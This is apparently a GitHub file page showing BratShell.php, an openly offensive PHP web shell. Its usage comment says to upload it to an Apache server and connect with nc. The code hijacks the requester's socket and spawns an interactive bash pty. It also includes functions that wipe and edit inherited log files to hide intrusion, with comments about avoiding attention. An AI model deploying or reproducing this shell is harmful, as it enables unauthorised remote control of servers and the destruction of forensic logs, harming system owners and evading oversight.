-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathBratShell.php
More file actions
452 lines (383 loc) · 13.5 KB
/
Copy pathBratShell.php
File metadata and controls
452 lines (383 loc) · 13.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
<?php
/**
* BratShell, findsock php stateful pty shell.
* Author: Brian Heese
* Contributors: Jeroen van Rijn, Richard Clifford, Marlon Etheredge
* Date: 05-08-2013
* Dependencies: PHP >= 5.3.6 - 5.3.14, PHP >= 5.4.0 - 5.4.4
*
* USAGE:
* 1: Upload to Apache server running PHP >= 5.3.6 and PHP >= 5.4.0 - 5.4.4
* 2: nc -v [target hostname] 80
* GET /fd.php HTTP/1.0
*
* [shell magically spawns]
* $SINIT (<-- optional in case you want a pretty pty shell *python must be installed on server* )
*
*/
// Kill xdebug if available
if(function_exists('xdebug_disable')) { xdebug_disable(); }
// Disable timing out as we wish to facilitate a stateful shell session.
set_time_limit(0);
// TODO: Set debug info to false when releasing to production.
ini_set('error_reporting', E_ALL);
ini_set('display_errors', true);
class BratShell
{
private $m_Shell = '/bin/bash';
private $m_Pid,
$m_Nice,
$m_FileDescriptors,
$m_BossIp,
$m_BossPort,
$m_BossSock,
$m_TimeStart,
$m_TimeEnd;
public function __construct()
{
$this->m_Pid = getmypid();
$this->m_Nice = $this->getProcessNice();
$this->m_FileDescriptors = array();
$this->m_TimeStart = time();
// Boss details
$this->m_BossIp = $_SERVER['REMOTE_ADDR'];
$this->m_BossPort = $_SERVER['REMOTE_PORT'];
}
/**
* Fetch current process priority
* 0 is highest, thus the higher the number
* the lower the priority of the process.
*/
private function getProcessNice ($pid = null)
{
if (!$pid)
{
$pid = $this->m_Pid;
}
$res = `ps -p $pid -o "%p %n"`;
// Fetch info we want from output
preg_match ('/^\s*\w+\s+\w+\s*(\d+)\s+(\d+)/m', $res, $matches);
// Return Pid and priority
return array (
'pid' => (isset ($matches[1]) ? $matches[1] : null),
'nice' => (isset ($matches[2]) ? $matches[2] : null),
);
}
/**
* Method which enumerates all inherited file descriptors
* and looks up all relevant info for each.
*/
private function getFileDescriptors()
{
$it = new DirectoryIterator("glob:///proc/self/fd/*");
switch(true) {
case stristr(PHP_OS, 'DAR'):
$pid = $this->m_Pid;
$x = `lsof -p $pid`;
$r = preg_split('/\s+/', $x);
if ($r)
{
$n = 0;
$c = count($r);
$a = $d = array();
for ($i = 0 ; $i < 9 ; ++$i)
{
$a[] = $r[$n++];
}
while($n < $c)
{
$t = array();
for ($i = 0 ; $i < 9 ; ++$i)
{
$t[$a[$i]] = @$r[$n++];
}
$d[] = $t;
}
$c = count($d);
for ($i = 0 ; $i < $c ; ++$i)
{
list($fd, $mode, $type) = sscanf($d[$i]['FD'], '%d%c%c');
if ($fd)
{
$t = array();
$t['fd'] = $fd = fopen('php://fd/' . $fd, $mode);
if ($fd)
{
$details = stream_get_meta_data($fd);
$t['type'] = $details['stream_type'];
$t['state'] = $details['blocked'];
$t['uri'] = $details['uri'];
$t['mode'] = $details['mode'];
$t['filepath'] = $d[$i]['NAME'];
$this->m_FileDescriptors[$fd] = $t;
}
else
{
echo 'Fuck...' . "\n";
}
}
}
}
else
{
die('Fuck me');
}
break;
default:
foreach($it as $f)
{
$tmpArr = array();
// Create resource from fd
$tmpArr['fd'] = $fd = fopen("php://fd/" . $f->getFilename(), 'r+');
// Determine type
$details = stream_get_meta_data($fd);
$tmpArr['type'] = $details['stream_type'];
// Determine Blocked / Non-Blocked state
$tmpArr['state'] = $details['blocked'];
// Determine uri
$tmpArr['uri'] = $details['uri'];
// Fd mode
$tmpArr['mode'] = $details['mode'];
// retrieve filepath
$tmpArr['filepath'] = readlink('/proc/self/fd/' . $f->getFilename());
// Save
$this->m_FileDescriptors[ $f->getFilename() ] = $tmpArr;
}
}
}
/**
* Print fd details, debugging util
*/
public function printFileDescriptors()
{
if(!$this->m_FileDescriptors)
{
$this->getFileDescriptors();
}
foreach ( $this->m_FileDescriptors as $id => $fd )
{
echo 'FD #' . $id . ': ' . print_r( $fd, true ) . '<br />';
}
echo "<hr/>".print_r($this->m_FileDescriptors, true).'<br/>';
}
/**
* Method that erases contents of a log file we have inherited a file descriptor too
*/
public function wipeLog( $fd = null )
{
// Default fd for log. If NULL ,retrieve logfiles from internal file descripters.
if( $fd == null )
{
$logfiles = $this->getLogFiles();
}
else
{
$logfiles[] = $fd;
}
foreach($logfiles as $key => $props)
{
if(!is_resource($props['fd']))
{
continue;
}
// Fetch log size before whiping so we can check if the operation is successfull later on
$prevSize = strlen( stream_get_contents($props['fd']) );
if($prevSize !== false)
{
// Truncate filesize to 0 and close resource
if(ftruncate($props['fd'] , 0))
{
// Fetch current size of data
$currentSize = strlen( stream_get_contents($props['fd']) );
// Check if current size is smaller then prev size to know the operation was succesfull
if($currentSize < $prevSize || $currentSize == false) {
echo 'Log is empty: ' . $props['filepath'] . '!<br/>';
} else {
echo 'Log whipe failed, uh ooh..';
}
}
}
fclose($props['fd']);
}
}
/**
* Search for inherited file descriptors to log files
*/
private function getLogFiles()
{
if(empty($this->m_FileDescriptors))
{
$this->getFileDescriptors();
}
foreach($this->m_FileDescriptors as $fd => $props)
{
if(preg_match('/((\w)+(\.log))/', $props['filepath']))
{
$logfiles[$fd] = $props;
}
}
return $logfiles;
}
/**
* Method that reads contents of log file referenced by fd
* performs some basic manipulations on the data and
* overwrites the log with manipulated version.
*
* @todo : Finish this
*/
private function editLog( $fd = null )
{
$this->m_TimeEnd = time();
$timeStart = date('M d', $this->m_TimeStart);
$logFileName = ''; // Filename?
$fh = @fopen($logFileName, 'r+');
if(!$fh){
return false;
}
$logResult = '';
while(($line = fgets($fh)) !== false)
{
if(feof($fh))
{
return false;
}
if(preg_match('/^([A-Za-z]{1,3}(\s|\t)+[0-9]{1,2}(\t|\s)+[0-9\:]{0,3}+)(.?*)$/', $line, $matches))
{
$dateTime = $matches[1];
// Added in the strtolower just for extra checks - Want to be safe if we are editing logs
if(strtolower($dateTime) == strtolower( substr($line, 0, (strlen($dateTime)-1)) ))
{
$line = '';
}
}
$logResult .= $line;
}
@fwrite($fh, $logResult);
@fclose($fh);
return;
}
/**
* Iterate over inherited socket descriptors
* until the requesting socket is found.
*/
public function findSock()
{
if(!$this->m_FileDescriptors)
{
$this->getFileDescriptors();
}
if(!empty($this->m_FileDescriptors))
{
foreach( $this->m_FileDescriptors as $id => $d )
{
// Skip if fd is not a socket
if( $d['type'] != 'tcp_socket' )
{
continue;
}
$remote = stream_socket_get_name($d['fd'], true);
if( strstr($remote, $this->m_BossIp . ':' . $this->m_BossPort) )
{
// Sock found!
$this->m_BossSock = $d['fd'];
if( is_resource($this->m_BossSock) )
echo 'Found socket!\n';
else
die('weird...');
return;
}
}
}
}
/**
* Awesome banner ASCII art
*/
public function getBanner()
{
return '
____ __ _____ __ ____ ____ ___ ___ __ __
/ __ )_________ _/ /_/ ___// /_ ___ / / / _ __/ __ \ < / / | / /___ / /_ ____ _
/ __ / ___/ __ `/ __/\__ \/ __ \/ _ \/ / / | | / / / / / / / / /| | / / __ \/ __ \/ __ `/
/ /_/ / / / /_/ / /_ ___/ / / / / __/ / / | |/ / /_/ / / / / ___ |/ / /_/ / / / / /_/ /
/_____/_/ \__,_/\__//____/_/ /_/\___/_/_/ |___/\____(_)_/ /_/ |_/_/ .___/_/ /_/\__,_/
/_/
>>>> Run $SINIT to enable bash color output
';
}
/**
* Main method to set up and bind the shell
*/
public function hookShell($sock = null)
{
// Check if sock has been found
if( !is_resource($this->m_BossSock) )
{
echo 'BossSock is not resource, looking for socket.';
$this->findSock();
}
$sock = $this->m_BossSock;
// Disable blocking for socket stream
socket_set_nonblock($sock);
// Prepare io pipes
$io = array(
0 => $sock,
1 => $sock,
2 => $sock
);
// Write temporary rcfile
$tmpfile = tmpfile();
fwrite($tmpfile, 'eval $COLLECTD');
$meta_data = stream_get_meta_data($tmpfile);
$rcfile = $meta_data["uri"];
// Prepare env. variables
$env = array( 'PS1' =>'\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]$',
'TERM' =>'xterm-color',
'GREP_OPTIONS' =>'--color=auto',
'GREP_COLOR' =>'1;32',
'CLICOLOR' =>'1',
'LSCOLORS' =>'ExFxCxDxBxegedabagacad',
// Spawn pty shell using python giving us more capabilities (ie. su, less, etc.)
// TODO: Check if python is installed
'COLLECTD' =>"python -c 'import pty; pty.spawn(\"/bin/bash\")'",
'SINIT' =>'source /etc/skel/.bashrc && source /etc/skel/.profile',
);
// Set process as leading session.
posix_setsid();
// Write Banner to socket before spawning shell
fwrite($sock, $this->getBanner());
// Spawn shell process and attach pipes
// TODO: place bash args in $this->m_Shell with placeholder for rcfile.
$proc = proc_open( $this->m_Shell . ' --rcfile ' . $rcfile . ' -i',
$io,
$pipes,
NULL,
$env
);
// Check if process spawned successfully
if( !is_resource($proc) )
die('Failed to spawn shell process');
// Wait for one second and remove temporary rcfile to avoid attention
sleep(1);
fclose($tmpfile);
// Main loop
while( is_resource($sock) )
{
// Fetch proc and sock states
$procState = proc_get_status($proc);
// Check if either one is dead
if( $procState['running'] === false )
{
break;
}
// Put PHP to sleep, shell is now piped directly to socket and
// we only need to prevent php from exit to keep shell alive.
sleep(1000);
}
// Clean up
fflush($sock);
fclose($sock);
proc_close($proc);
}
}
$bs = new BratShell();
$bs->hookShell();